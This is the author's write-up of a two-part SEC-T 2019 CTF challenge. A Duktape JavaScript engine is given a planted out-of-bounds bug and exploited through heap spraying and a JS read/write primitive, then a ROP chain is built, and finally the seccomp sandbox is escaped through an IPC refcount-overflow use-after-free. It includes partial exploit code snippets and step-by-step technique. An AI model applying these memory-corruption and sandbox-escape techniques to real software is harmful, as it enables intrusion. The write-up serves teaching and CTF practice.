Write up - SEC-T 2019: Mirc2077
Sep 23, 2019
11 minute read


I made this challenge for the SEC-T CTF 2019. It has two parts and is meant to be a minimal ‘browser-pwnable’. The javascript engine used is Duktape (https://duktape.org). A custom bug was introduced to it which can be used to get code-execution in the JS-interpreter-process. This process is heavily sandboxed with Seccomp and the second part of the challenge is about escaping it by exploiting an IPC-bug in the main-process.

TL;DR: The final exploit is in exploit/pwn64.js and is built dynamically from exploit/exploit.py.


One of the rogue androids are hanging out in his private IRC, dealing warez and 0-days. He takes his OPSEC seriously and is behind 9000 proxies. An agent of ours managed to add a backdoor to the repository of his favourite IRC-client. Unfortunately we are scraping up whats left of him from a burning barrel.<br>We recovered this USB-stick, use whatever is on it to pwn and reveal the androids real IP-address. We'll do the rest ;)
$ checksec --file ./mirc2077 
[*] './mirc2077'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Backdoor / Duktape bug analysis

The player can send various messages and links to the android on ‘IRC’. If the link contains Javascript, it will be interpreted by the Duktape JS engine. This is a part of the diff that the player recieved which shows the bug that was introduced to Duktape.

+DUK_INTERNAL duk_ret_t duk_bi_typedarray_sect(duk_hthread *thr) {
+	duk_hbufobj *h_this;
+	h_this = duk__require_bufobj_this(thr);
+	DUK_ASSERT(h_this != NULL);
+	if (h_this->buf == NULL) {
+		DUK_DDD(DUK_DDDPRINT("source neutered, skip copy"));
+		return 0;
+	}
+	h_this->length = 31337;
+	duk_hbuffer * buf = h_this->buf;
+	buf->size = 31337;
+	return 0;

A built-in named sect was added to the TypedArray object. Calling this function will set the TypedArray and it’s backing-buffer size to 31337. However, it will not reallocate the backing-buffer.

Therefore, if you allocate a TypedArray of a size less than 31337 and you call the sect built-in on it, you’ll be able to read and write out-of-bounds in the heap-memory.

With this limited out-of-bounds read/write primitive we can then find a suitable object in the heap to corrupt and create a fully controlled read/write-what-anywhere primitive.

Part I - Code-exec in the sandboxed JS-interpreter process

Create a fully controlled read/write-what anywhere primitive

To achieve our wanted primitive, theres a bit of work to be done.

First we do some minor spraying with small TypedArrays on which we trigger the vuln to create the limited out-of-bounds-primitive. Then we spray some larger potential targets where we set their data to magic values so we can find them in the heap using our OOB-read.

/* defrag the heap */
for(i = 0; i < pwn.defrag_heap_rounds; i++) {
  f = new Float64Array(4);f[0] = 1111.4444;f[1] = 2222.5555;

/* spray duk_hbufobj and duk_hbuffer objects via Float64Arrays*/
for(i = 0; i < pwn.spray_rounds; i++) {
  var p = new Float64Array(4);p[0]=1337.0;p[1]=4445.0;
  p.sect(); /* trigger vuln */
  var q = new Float64Array(200);q[0]=6661.6661;q[1]=1116.1116;

My target of choices for corruption was a duk_hbuffer object since these are conveniently created and used by TypedArrays.

struct duk_hbuffer {
  duk_heaphdr hdr;
  duk_size_t size;
  void *curr_alloc; 

Each duk_hbuffer object is referenced by a duk_hbufobj object

struct duk_hbufobj {
  duk_hobject obj;
  duk_hbuffer *buf; /* points to duk_hbuffer */
  duk_hobject *buf_prop;
  duk_uint_t offset;       /* byte offset to buf */
  duk_uint_t length;       /* byte index limit for element access, exclusive */
  duk_uint8_t shift;       /* element size shift:
                            *   0 = u8/i8
                            *   1 = u16/i16
                            *   2 = u32/i32/float
                            *   3 = double
  duk_uint8_t elem_type;   /* element type */
  duk_uint8_t is_typedarray;

How the duk_hbuffer stores it’s data is defined by it’s headers magic value in duk_hbuffer->hdr->h_flags. If it’s defined as external, then the data will be stored in a buffer pointed to by duk_hbuffer->curr_alloc. Otherwise, the data is kept after the structure and the curr_alloc pointer is ignored.

For example, Float64Array(200) will create a non-external duk_hbuffer but we want it to be external as the goal is to be able to control the duk_hbuffer->curr_alloc pointer. If we can do this we will have an easy to work with primitive e.g: if you corrupt duk_hbuffer->cur_alloc to 0xdeadbeef we can then do: * var val = corrupted_typedarray[0]; - read from 0xdeadbeef * corrupted_typedarray[0] = val; - write to 0xdeadbeef

To create a fully controlled read-write-what-anywhere primitive the strategy is to: * Spray TypedArrays with magic-values in the data * Find the duk_hbuffer of the TypedArray by it’s magic values in heap-memory * Corrupt the magic values to something specific so we can detect the change * Cycle through the TypedArray objects and find which one points to our controlled duk_hbuffer by detecting the change * Corrupt the duk_hbuffer->hdr->h_flag so it’s magic value reflects an external duk_hbuffer object

As the duk_hbuffer is now external, we can corrupt duk_hbuffer->curr_alloc to gain the controlled-read/write anywhere primitive. This is done with some helper functions, such as

/* set_ctx sets the duk_hbuffer to dynamic/external*/
this.set_ctx = function() {
  this.hbuf_obj[this.buf_offset+4] = i2d(0xdeadbeef); /* target_addr */
  this.hbuf_obj[this.buf_offset+5] = i2d(0x0);
  this.hbuf_obj[this.buf_offset] = i2d(0x0000222200000081); /* set magic to 81 (dynamic/external) and refcount to 2 */

this.write64 = function(addr, val) {
  this.hbuf_obj[this.buf_offset+4] = addr;
  this.hobj[0] = val;

this.read64 = function(addr) {
  this.hbuf_obj[this.buf_offset+4] = i2d(addr);
  return d2i(this.hobj[0]);

With full R/W-access to the process, we can now work towards code-exec.

Create a leak-primitive and leak libc

The next steps for code-exec are * Leak a pointer to the mirc2077 binary and calculate the base address of it * Using the base address of mirc2077, read one of it’s .got entries to leak an offset into libc.

To understand the next part, one should know that all duktape objects starts with a duk_hobject struct that contains a duk_heaphdr struct.

struct duk_heaphdr {
  duk_uint32_t h_flags;
  duk_size_t h_refcount;
  duk_heaphdr *h_next;
  duk_heaphdr *h_prev;

The duk_heaphdr contains a linked-list e.g. duk_heaphdr->h_next that can be used to traverse all the allocated duktape objects. We can leak the h_next and h_prev pointers from our duk_hbuffer object. These can then be used to find objects of interest via their duk_heaphdr->h_flags magic value.

One object of interest is the duk_hnatfunc. In these objects there is a function pointer to a native c-function. I.e. duk_hnatfunc->func will contain a pointer to the mirc2007 binary. In my case, performance.now() would be my first hit when traversing for this type of object.

struct duk_hnatfunc {
  duk_hobject obj;
  duk_c_function func; /* mirc2077 leak */
  duk_int16_t nargs;
  duk_int16_t magic;

The following JS code will find the performance.now() native function object and from that, leak libc and rebase the ROP-chain that is used later on.

this.leak_libc = function(addr) {
  addr = this.find_native_func(addr);
    elf_base = this.find_elf(addr);
    this.elf = d2i(elf_base.asDouble());
    elf_base.assignAdd(elf_base, this.got_offset);
    this.libc = this.read64i(elf_base);
    this.libc.assignSub(this.libc, this.libc_offset);
    log("[+] Found libc base: " + this.libc);
    return this.libc;
  return 0;

Get code-exec and pivot to shellcode

At this point we could overwrite the duk_hnatfunc->func for RIP-control. However, controlling the arguments is not as easy due to how duktape passes the arguments via it’s context-pointer.

Another option is to leak the environ pointer from libc. This points to the current stack of the process. Walk the stack for a target return-address and overwrite it with a ROP-chain. I chose <duk_eval_raw+110> as it will be hit after interpreting the Javascript.

The ROP-chain is very simple. It will mmap an RWX page, memcpy the embedded shellcode there and jump to it while passing on a shellcode_ctx containing some addresses for the final payload.

Part II - Escape the Seccomp sandbox

Sandbox constraints

The sandbox-restrictions can be dumped with https://github.com/david942j/seccomp-tools

 line  CODE  JT   JF      K
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000003  if (A == close) goto 0015
 0008: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0015
 0009: 0x15 0x05 0x00 0x00000008  if (A == lseek) goto 0015
 0010: 0x15 0x04 0x00 0x00000009  if (A == mmap) goto 0015
 0011: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0015
 0012: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0015
 0013: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0015
 0014: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL

We can’t open files or pop a shell but thankfully we can mmap RWX-pages for pivoting to shellcode where we can setup more elaborate IPC-payloads. These are stored in exploit/*.asm

IPC communication

The main process will fork a child-process and apply Seccomp before it executes the ‘dangerous’ JS-interpretation. It will pass two file-descriptors to the sandboxed-process. One is to the Log-functionality (log-fd) and the other is for the IPC-functionality (ipc-fd)

After the JS-interpretation-process creation, the main-process will enter an ipc_loop which expects ipc_msg structures. The ipc_loop will process each ipc_message and call the function that maps to the ipc_msg->id.

To use the IPC, you would write the following structure to the ipc-fd and then read it back for the result.

struct ipc_msg {
 u8 magic[8]; // IRC_IPC\0
 u64 id;      // f.ex. IPC_JS_SUCCESS 0xac1d0001
 u64 debug;   // enable debug-mode output
 u64 status;
 u64 result; // result :-)
 u64 arg0;
 u64 arg1;

IPC bug-analysis

The IPC between the main-process and the JS-interpreter-process is meant to support caching of responses. It doesn’t do a great job at it though. The basic functionality consist of

u64 ipc_cache_create(u64 id, u64 size) - Create cache
u64 ipc_cache_create_data(u64 id, u64 size) - Allocate cache data buffer
u64 ipc_cache_set_data(u64 id) - Set cache data
u64 ipc_cache_get_data(u64 id) - Read cache data
u64 ipc_cache_dup(u64 id) - Duplicate existing cache
u32 ipc_cache_close(u64 id) - Close cache

The cache structures are as follows

struct cache {
  v0 *data_ptr; // allocated via ipc_cache_create_data
  u8 refcount;
  u64 size;

struct cache_head { // allocated via ipc_cache_create
  u64 id;
  struct cache *cache_ptr;

The ipc_cache_dup will create a new cache_head and assign it the cache_ptr of the requested cache_head->id to be duped. If successful, it will increase the refcount of the cache. The problem is that the refcount is kept as a byte and with no checks in place it can be easily be overflown through consecutive calls to ipc_cache_dup.

This by itself is bad but in conjunction with ipc_cache_close we can cause a use-after-free.

u32 ipc_cache_close(u64 id)
  struct cache_head *c = (struct cache_head*)ipc_cache_arr[id];
  if(c == NULL)
    return IPC_ERROR;

  if(c->cache_ptr != NULL) {
    if(c->cache_ptr->refcount <= 0) {
      if(c->cache_ptr->data_ptr != NULL) {
        c->cache_ptr->data_ptr = NULL;        
      c->cache_ptr = NULL;
      ipc_cache_arr[id] =  NULL;

If we call ipc_cache_dup enough for the cache->refcount to wrap-around to 1 and then call ipc_cache_close on one of the duped caches, the underlying cache will be released while we still retain references to it.

By reclaiming the cache memory we can control the cache->data_ptr which then becomes a read/write-what-anywhere primitive through the ipc_cache_get_data and ipc_cache_set_data calls.

How to get the flags

Flag #1 - HOW-2-IPC

Having code-exec in the JS-interpreter-process is enough to get the first flag. We simply need to perform an IPC-call with the id IPC_REQUEST_FLAG (0xac1d1337). This will read the ./flag from the main-process and write it back to us over the IPC. The flag can then be output by writing it to the log-fd.

Flag #2 - Escape the Seccomp sandbox

To exploit the IPC-bug, these steps are taken: * Create the first cache and a cache_data for it so we have a dup target * Create three caches without data. We will use these later to reclaim the cache memory, as ipc_cache_create_data allows allocations of a controlled size between > 0 and < 512 * Call ipc_cache_dup on the first cache until the cache->refcount to wrap around to 1 * Call ipc_cache_close on the first cache to trigger the use-after-free scenario * Create the cache_data for the other caches (2-4) to reclaim the cache memory with a cache->data_ptr that points to the wanted target

Now we can overwrite whatever cache->data_ptr points to by calling ipc_cache_set_data on any of the duped caches that still has a reference to it.

No leak from the main-process is needed since the JS-interpreter is forked, which means that the binaries and stack will have the same addresses in both processes.

We can use the same trick that we used to execute our initial ROP-chain. We find a suitable target on the stack and overwrite it with a ROP-chain. In my case, the target was <exec_js_renderer+010d> which will be hit when the ipc_loop returns.

After writing the final ROP-chain to the main-process stack we send a final IPC-message of IPC_JS_SUCCESS (0xac1d0001) so the main-process exists the ipc_loop and we get code-exec in the main-process.

The payload is simply a one_gadget / god_gadget from the libc which can be found using the tool https://github.com/david942j/one_gadget. Some of the stack is also zeroed out to fit the constraint of the one_gadget.

Exploit moneyshot



b0bb - for proof-reading and suggestions
je / OwariDa - for the PIE-fixup script
saelo - for the 64bit JS-framework